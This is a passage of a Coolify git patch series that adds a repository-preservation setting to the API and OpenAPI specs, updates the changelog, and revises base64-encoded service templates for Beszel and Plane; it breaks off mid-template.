'manual_webhook_secret_github', 'manual_webhook_secret_gitlab', 'manual_webhook_secret_bitbucket', 'manual_webhook_secret_gitea', 'dockerfile_location', 'docker_compose_location', 'docker_compose_custom_start_command', 'docker_compose_custom_build_command', 'docker_compose_domains', 'redirect', 'instant_deploy', 'use_build_server', 'custom_nginx_configuration', 'is_http_basic_auth_enabled', 'http_basic_auth_username', 'http_basic_auth_password', 'connect_to_docker_network', 'force_domain_override', 'is_container_label_escape_enabled', 'is_preserve_repository_enabled'];
$validationRules = [
'name' => 'string|max:255',
@@ -2713,7 +2730,7 @@ public function update_by_uuid(Request $request)
$connectToDockerNetwork = $request->connect_to_docker_network;
$useBuildServer = $request->use_build_server;
$isContainerLabelEscapeEnabled = $request->boolean('is_container_label_escape_enabled');
-
+ $isPreserveRepositoryEnabled = $request->boolean('is_preserve_repository_enabled');
if (isset($useBuildServer)) {
$application->settings->is_build_server_enabled = $useBuildServer;
$application->settings->save();
@@ -2748,7 +2765,10 @@ public function update_by_uuid(Request $request)
$application->settings->is_container_label_escape_enabled = $isContainerLabelEscapeEnabled;
$application->settings->save();
}
-
+ if ($request->has('is_preserve_repository_enabled')) {
+ $application->settings->is_preserve_repository_enabled = $isPreserveRepositoryEnabled;
+ $application->settings->save();
+ }
removeUnnecessaryFieldsFromRequest($request);
$data = $request->all();
From 53c1d5bcbb41bd03684b9ca4ae1f2e3a57a0dfca Mon Sep 17 00:00:00 2001
From: Ahmed
Date: Sun, 15 Feb 2026 22:24:41 +0300
Subject: [PATCH 017/168] feat: add 'is_preserve_repository_enabled' field to
shared data applications and remove from request
---
bootstrap/helpers/api.php | 2 ++
1 file changed, 2 insertions(+)
diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php
index d5c2c996b..da2eb6f21 100644
--- a/bootstrap/helpers/api.php
+++ b/bootstrap/helpers/api.php
@@ -139,6 +139,7 @@ function sharedDataApplications()
'docker_compose_custom_start_command' => 'string|nullable',
'docker_compose_custom_build_command' => 'string|nullable',
'is_container_label_escape_enabled' => 'boolean',
+ 'is_preserve_repository_enabled' => 'boolean'
];
}
@@ -188,5 +189,6 @@ function removeUnnecessaryFieldsFromRequest(Request $request)
$request->offsetUnset('force_domain_override');
$request->offsetUnset('autogenerate_domain');
$request->offsetUnset('is_container_label_escape_enabled');
+ $request->offsetUnset('is_preserve_repository_enabled');
$request->offsetUnset('docker_compose_raw');
}
From 20563e23ff338cdf7e288ee217f32b4ffaac21c8 Mon Sep 17 00:00:00 2001
From: Ahmed
Date: Sun, 15 Feb 2026 22:53:26 +0300
Subject: [PATCH 018/168] feat: add 'is_preserve_repository_enabled' field to
openapi specifications for deployment
---
openapi.json | 20 ++++++++++++++++++++
openapi.yaml | 16 ++++++++++++++++
2 files changed, 36 insertions(+)
diff --git a/openapi.json b/openapi.json
index bd502865a..a9e16ca55 100644
--- a/openapi.json
+++ b/openapi.json
@@ -407,6 +407,11 @@
"type": "boolean",
"default": true,
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
+ },
+ "is_preserve_repository_enabled": {
+ "type": "boolean",
+ "default": false,
+ "description": "Preserve repository during deployment."
}
},
"type": "object"
@@ -852,6 +857,11 @@
"type": "boolean",
"default": true,
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
+ },
+ "is_preserve_repository_enabled": {
+ "type": "boolean",
+ "default": false,
+ "description": "Preserve repository during deployment."
}
},
"type": "object"
@@ -1297,6 +1307,11 @@
"type": "boolean",
"default": true,
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
+ },
+ "is_preserve_repository_enabled": {
+ "type": "boolean",
+ "default": false,
+ "description": "Preserve repository during deployment."
}
},
"type": "object"
@@ -2704,6 +2719,11 @@
"type": "boolean",
"default": true,
"description": "Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off."
+ },
+ "is_preserve_repository_enabled": {
+ "type": "boolean",
+ "default": false,
+ "description": "Preserve repository during deployment."
}
},
"type": "object"
diff --git a/openapi.yaml b/openapi.yaml
index 11148f43b..79ad73320 100644
--- a/openapi.yaml
+++ b/openapi.yaml
@@ -291,6 +291,10 @@ paths:
type: boolean
default: true
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
+ is_preserve_repository_enabled:
+ type: boolean
+ default: false
+ description: 'Preserve repository during deployment.'
type: object
responses:
'201':
@@ -575,6 +579,10 @@ paths:
type: boolean
default: true
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
+ is_preserve_repository_enabled:
+ type: boolean
+ default: false
+ description: 'Preserve repository during deployment.'
type: object
responses:
'201':
@@ -859,6 +867,10 @@ paths:
type: boolean
default: true
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
+ is_preserve_repository_enabled:
+ type: boolean
+ default: false
+ description: 'Preserve repository during deployment.'
type: object
responses:
'201':
@@ -1741,6 +1753,10 @@ paths:
type: boolean
default: true
description: 'Escape special characters in labels. By default, $ (and other chars) is escaped. So if you write $ in the labels, it will be saved as $$. If you want to use env variables inside the labels, turn this off.'
+ is_preserve_repository_enabled:
+ type: boolean
+ default: false
+ description: 'Preserve repository during deployment.'
type: object
responses:
'200':
From 17f5259f3238c269e5aa2c3fde116050967c7675 Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Mon, 16 Feb 2026 08:32:31 +0000
Subject: [PATCH 019/168] docs: update changelog
---
CHANGELOG.md | 13 +++++++++++++
1 file changed, 13 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 223fad638..21d6da7cd 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4508,6 +4508,12 @@ ### 🐛 Bug Fixes
- *(api-docs)* Use proper schema references for environment variable endpoints (#8239)
- *(ui)* Fix datalist border color and add repository selection watcher (#8240)
- *(server)* Improve IP uniqueness validation with team-specific error messages
+- *(jobs)* Initialize status variable in checkHetznerStatus (#8359)
+- *(jobs)* Handle queue timeouts gracefully in Horizon (#8360)
+- *(push-server-job)* Skip containers with empty service subId (#8361)
+- *(database)* Disable proxy on port allocation failure (#8362)
+- *(sentry)* Use withScope for SSH retry event tracking (#8363)
+- *(api)* Add a newline to openapi.json
### 💼 Other
@@ -5599,6 +5605,7 @@ ### 🚜 Refactor
- *(api)* Update application create endpoints docs
- *(api)* Application urls validation
- *(services)* Improve some service slogans
+- *(ssh-retry)* Remove Sentry tracking from retry logic
### 📚 Documentation
@@ -5743,6 +5750,7 @@ ### 📚 Documentation
- *(api)* Improve app endpoint deprecation description
- Add Coolify design system reference
- Add Coolify design system reference (#8237)
+- Update changelog
### ⚡ Performance
@@ -6506,6 +6514,11 @@ ### ⚙️ Miscellaneous Tasks
- Bump coolify version
- Prepare for PR
- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
### ◀️ Revert
From 7c4f8f37a360c50795a154411c12610d370e021a Mon Sep 17 00:00:00 2001
From: "github-actions[bot]"
Date: Tue, 17 Feb 2026 11:24:33 +0000
Subject: [PATCH 020/168] docs: update changelog
---
CHANGELOG.md | 14 ++++++++++++++
1 file changed, 14 insertions(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 21d6da7cd..026dec470 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -4514,6 +4514,9 @@ ### 🐛 Bug Fixes
- *(database)* Disable proxy on port allocation failure (#8362)
- *(sentry)* Use withScope for SSH retry event tracking (#8363)
- *(api)* Add a newline to openapi.json
+- *(server)* Improve IP uniqueness validation with team-specific error messages
+- *(service)* Glitchtip webdashboard doesn't load
+- *(service)* Glitchtip webdashboard doesn't load (#8249)
### 💼 Other
@@ -5606,6 +5609,7 @@ ### 🚜 Refactor
- *(api)* Application urls validation
- *(services)* Improve some service slogans
- *(ssh-retry)* Remove Sentry tracking from retry logic
+- *(ssh-retry)* Remove Sentry tracking from retry logic
### 📚 Documentation
@@ -5751,6 +5755,7 @@ ### 📚 Documentation
- Add Coolify design system reference
- Add Coolify design system reference (#8237)
- Update changelog
+- Update changelog
### ⚡ Performance
@@ -5789,6 +5794,9 @@ ### 🧪 Testing
- Add tests for shared environment variable spacing and resolution
- Add comprehensive preview deployment port and path tests
- Add comprehensive preview deployment port and path tests (#7677)
+- Add Pest browser testing with SQLite :memory: schema
+- Add dashboard test and improve browser test coverage
+- Migrate to SQLite :memory: and add Pest browser testing (#8364)
### ⚙️ Miscellaneous Tasks
@@ -6519,6 +6527,12 @@ ### ⚙️ Miscellaneous Tasks
- Prepare for PR
- Prepare for PR
- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
+- Prepare for PR
### ◀️ Revert
From b71ad865dc2777ef7184d6e02be1db0ca91963ff Mon Sep 17 00:00:00 2001
From: Aditya Tripathi
Date: Wed, 25 Feb 2026 11:39:43 +0000
Subject: [PATCH 021/168] feat: refresh private repository if updating
---
.../new/github-private-repository.blade.php | 19 ++-
templates/service-templates-latest.json | 57 +-------
templates/service-templates.json | 57 +-------
tests/Feature/GithubPrivateRepositoryTest.php | 126 ++++++++++++++++++
4 files changed, 145 insertions(+), 114 deletions(-)
create mode 100644 tests/Feature/GithubPrivateRepositoryTest.php
diff --git a/resources/views/livewire/project/new/github-private-repository.blade.php b/resources/views/livewire/project/new/github-private-repository.blade.php
index 129c508a9..27ef6a189 100644
--- a/resources/views/livewire/project/new/github-private-repository.blade.php
+++ b/resources/views/livewire/project/new/github-private-repository.blade.php
@@ -4,16 +4,27 @@
- @if ($repositories->count() > 0)
+
+ Deploy any public or private Git repositories through a GitHub App.
+ @if ($repositories->count() > 0)
+
- Deploy any public or private Git repositories through a GitHub App.
+
+
+
+
+
+
+
+
+
+
+ @endif
@if ($github_apps->count() !== 0)
@if ($current_step === 'github_apps')
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json
index 832899a70..a9f653460 100644
--- a/templates/service-templates-latest.json
+++ b/templates/service-templates-latest.json
@@ -254,7 +254,7 @@
"beszel-agent": {
"documentation": "https://www.beszel.dev/guide/agent-installation?utm_source=coolify.io",
"slogan": "Monitoring agent for Beszel",
- "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSAnSFVCX1VSTD0ke0hVQl9VUkw/fScKICAgICAgLSAnVE9LRU49JHtUT0tFTj99JwogICAgICAtICdLRVk9JHtLRVk/fScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsLWFnZW50OgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbC1hZ2VudDowLjE4LjQnCiAgICBuZXR3b3JrX21vZGU6IGhvc3QKICAgIGVudmlyb25tZW50OgogICAgICAtIExJU1RFTj0vYmVzemVsX3NvY2tldC9iZXN6ZWwuc29jawogICAgICAtIEhVQl9VUkw9JFNFUlZJQ0VfVVJMX0JFU1pFTAogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgICAgLSAnRElTQUJMRV9TU0g9JHtESVNBQkxFX1NTSDotZmFsc2V9JwogICAgICAtICdMT0dfTEVWRUw9JHtMT0dfTEVWRUw6LXdhcm59JwogICAgICAtICdTS0lQX0dQVT0ke1NLSVBfR1BVOi1mYWxzZX0nCiAgICAgIC0gJ1NZU1RFTV9OQU1FPSR7U1lTVEVNX05BTUV9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2FnZW50X2RhdGE6L3Zhci9saWIvYmVzemVsLWFnZW50JwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSAvYWdlbnQKICAgICAgICAtIGhlYWx0aAogICAgICBpbnRlcnZhbDogNjBzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==",
"tags": [
"beszel",
"monitoring",
@@ -269,7 +269,7 @@
"beszel": {
"documentation": "https://github.com/henrygd/beszel?tab=readme-ov-file#getting-started?utm_source=coolify.io",
"slogan": "A lightweight server resource monitoring hub with historical data, docker stats, and alerts.",
- "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE2LjEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xNi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVEVOPS9iZXN6ZWxfc29ja2V0L2Jlc3plbC5zb2NrCiAgICAgIC0gJ0hVQl9VUkw9aHR0cDovL2Jlc3plbDo4MDkwJwogICAgICAtICdUT0tFTj0ke1RPS0VOfScKICAgICAgLSAnS0VZPSR7S0VZfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCg==",
+ "compose": "c2VydmljZXM6CiAgYmVzemVsOgogICAgaW1hZ2U6ICdoZW5yeWdkL2Jlc3plbDowLjE4LjQnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9CRVNaRUxfODA5MAogICAgICAtICdDT05UQUlORVJfREVUQUlMUz0ke0NPTlRBSU5FUl9ERVRBSUxTOi10cnVlfScKICAgICAgLSAnU0hBUkVfQUxMX1NZU1RFTVM9JHtTSEFSRV9BTExfU1lTVEVNUzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnYmVzemVsX2RhdGE6L2Jlc3plbF9kYXRhJwogICAgICAtICdiZXN6ZWxfc29ja2V0Oi9iZXN6ZWxfc29ja2V0JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIC9iZXN6ZWwKICAgICAgICAtIGhlYWx0aAogICAgICAgIC0gJy0tdXJsJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA5MCcKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwogIGJlc3plbC1hZ2VudDoKICAgIGltYWdlOiAnaGVucnlnZC9iZXN6ZWwtYWdlbnQ6MC4xOC40JwogICAgbmV0d29ya19tb2RlOiBob3N0CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNURU49L2Jlc3plbF9zb2NrZXQvYmVzemVsLnNvY2sKICAgICAgLSBIVUJfVVJMPSRTRVJWSUNFX1VSTF9CRVNaRUwKICAgICAgLSAnVE9LRU49JHtUT0tFTn0nCiAgICAgIC0gJ0tFWT0ke0tFWX0nCiAgICAgIC0gJ0RJU0FCTEVfU1NIPSR7RElTQUJMRV9TU0g6LWZhbHNlfScKICAgICAgLSAnTE9HX0xFVkVMPSR7TE9HX0xFVkVMOi13YXJufScKICAgICAgLSAnU0tJUF9HUFU9JHtTS0lQX0dQVTotZmFsc2V9JwogICAgICAtICdTWVNURU1fTkFNRT0ke1NZU1RFTV9OQU1FfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2Jlc3plbF9hZ2VudF9kYXRhOi92YXIvbGliL2Jlc3plbC1hZ2VudCcKICAgICAgLSAnYmVzemVsX3NvY2tldDovYmVzemVsX3NvY2tldCcKICAgICAgLSAnL3Zhci9ydW4vZG9ja2VyLnNvY2s6L3Zhci9ydW4vZG9ja2VyLnNvY2s6cm8nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gL2FnZW50CiAgICAgICAgLSBoZWFsdGgKICAgICAgaW50ZXJ2YWw6IDYwcwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgICAgc3RhcnRfcGVyaW9kOiA1cwo=",
"tags": [
"beszel",
"monitoring",
@@ -3658,27 +3658,6 @@
"minversion": "0.0.0",
"port": "80"
},
- "plane": {
- "documentation": "https://docs.plane.so/self-hosting/methods/docker-compose?utm_source=coolify.io",
- "slogan": "The open source project management tool",
- "compose": "eC1kYi1lbnY6CiAgUEdIT1NUOiBwbGFuZS1kYgogIFBHREFUQUJBU0U6IHBsYW5lCiAgUE9TVEdSRVNfVVNFUjogJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogIFBPU1RHUkVTX0RCOiBwbGFuZQogIFBPU1RHUkVTX1BPUlQ6IDU0MzIKICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQp4LXJlZGlzLWVudjoKICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgUkVESVNfVVJMOiAnJHtSRURJU19VUkw6LXJlZGlzOi8vcGxhbmUtcmVkaXM6NjM3OS99Jwp4LW1pbmlvLWVudjoKICBNSU5JT19ST09UX1VTRVI6ICRTRVJWSUNFX1VTRVJfTUlOSU8KICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwp4LWF3cy1zMy1lbnY6CiAgQVdTX1JFR0lPTjogJyR7QVdTX1JFR0lPTjotfScKICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICBBV1NfUzNfRU5EUE9JTlRfVVJMOiAnJHtBV1NfUzNfRU5EUE9JTlRfVVJMOi1odHRwOi8vcGxhbmUtbWluaW86OTAwMH0nCiAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9Jwp4LW1xLWVudjoKICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogIFJBQkJJVE1RX0RFRkFVTFRfVVNFUjogJyR7U0VSVklDRV9VU0VSX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICBSQUJCSVRNUV9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKeC1saXZlLWVudjoKICBBUElfQkFTRV9VUkw6ICcke0FQSV9CQVNFX1VSTDotaHR0cDovL2FwaTo4MDAwfScKeC1hcHAtZW52OgogIEFQUF9SRUxFQVNFOiAnJHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgREVCVUc6ICcke0RFQlVHOi0wfScKICBDT1JTX0FMTE9XRURfT1JJR0lOUzogJyR7Q09SU19BTExPV0VEX09SSUdJTlM6LWh0dHA6Ly9sb2NhbGhvc3R9JwogIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ